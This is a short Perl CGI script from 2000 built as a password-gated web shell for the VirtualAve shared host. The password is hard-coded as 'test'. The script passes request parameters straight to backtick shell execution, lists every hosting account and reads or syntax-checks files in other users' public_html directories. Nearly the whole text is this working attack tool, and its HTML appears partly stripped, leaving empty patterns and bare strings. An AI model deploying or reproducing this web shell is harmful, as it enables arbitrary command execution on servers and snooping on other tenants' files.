#!/usr/bin/perl ########################### # script by TB 0n 7/20/00 # ########################### ### Toobuff4u@webtv.net ### ########################### # version for VirtualAve! # ########################### ##### VirtualAve ONLY ##### ########################### # <-hi # ########################### use CGI qw(param); ############################################ #### <-> EDIT THESE VARIABLES BELOW <-> #### ############################################ $title = "TBz Commandz"; $bg = "black"; $bg2 = "303030"; $font = "lightsteelblue"; $font2 = "lightsteelblue"; ################################### #### <-> BELOW IS THE PASSWORD #### ################################### $passw = "test"; ############################################## #### <-> DO NOT EDIT BELOW THIS LINE! <-> #### ############################################## $tel = param("tel"); $ls = param("ls"); $cd = param("cd"); $file = param("file"); $debug = param("debug"); $pass = param("password"); $blah = `$tel 2>&1`; $conv = `$ls 2>&1`; $root = "$ENV{'DOCUMENT_ROOT'}"; print "Content-Type: text/html\n\n"; if ($pass eq $passw) { if ($cd ne "") { $broken = "Attempted Connect To $cd .

To see $cd\'s files go press the \"List All\" button on the top left hand corner."; $leech = "$cd/public_html";} $blah =~ s|||gi; $conv =~ s|||gi; if ($tel eq "") { print "$title

Press The Button Below To List All the VA accounts

Then type one of the Account Names Below:

Type the file.ext below to validate it.

Type the perl file.ext below to Debug it.

The Command Line below is for people who already know telnet commands ...

$broken
$broken2
$foo

"; } else { &print_res; } sub print_res { print "results:
"; } if ($ls ne "") { print "List All"; print "$conv"; print ""; } if ($file ne "") { $kat = `cat $root/$cd/public_html/$file 2>&1`; $kat =~ s|||gi; &print_res; } if ($debug ne "") { $kat = `perl -cwd $root/$cd/public_html/$file 2>&1`; &print_res;} } else { print "$title



Enter The Password:
"; } exit;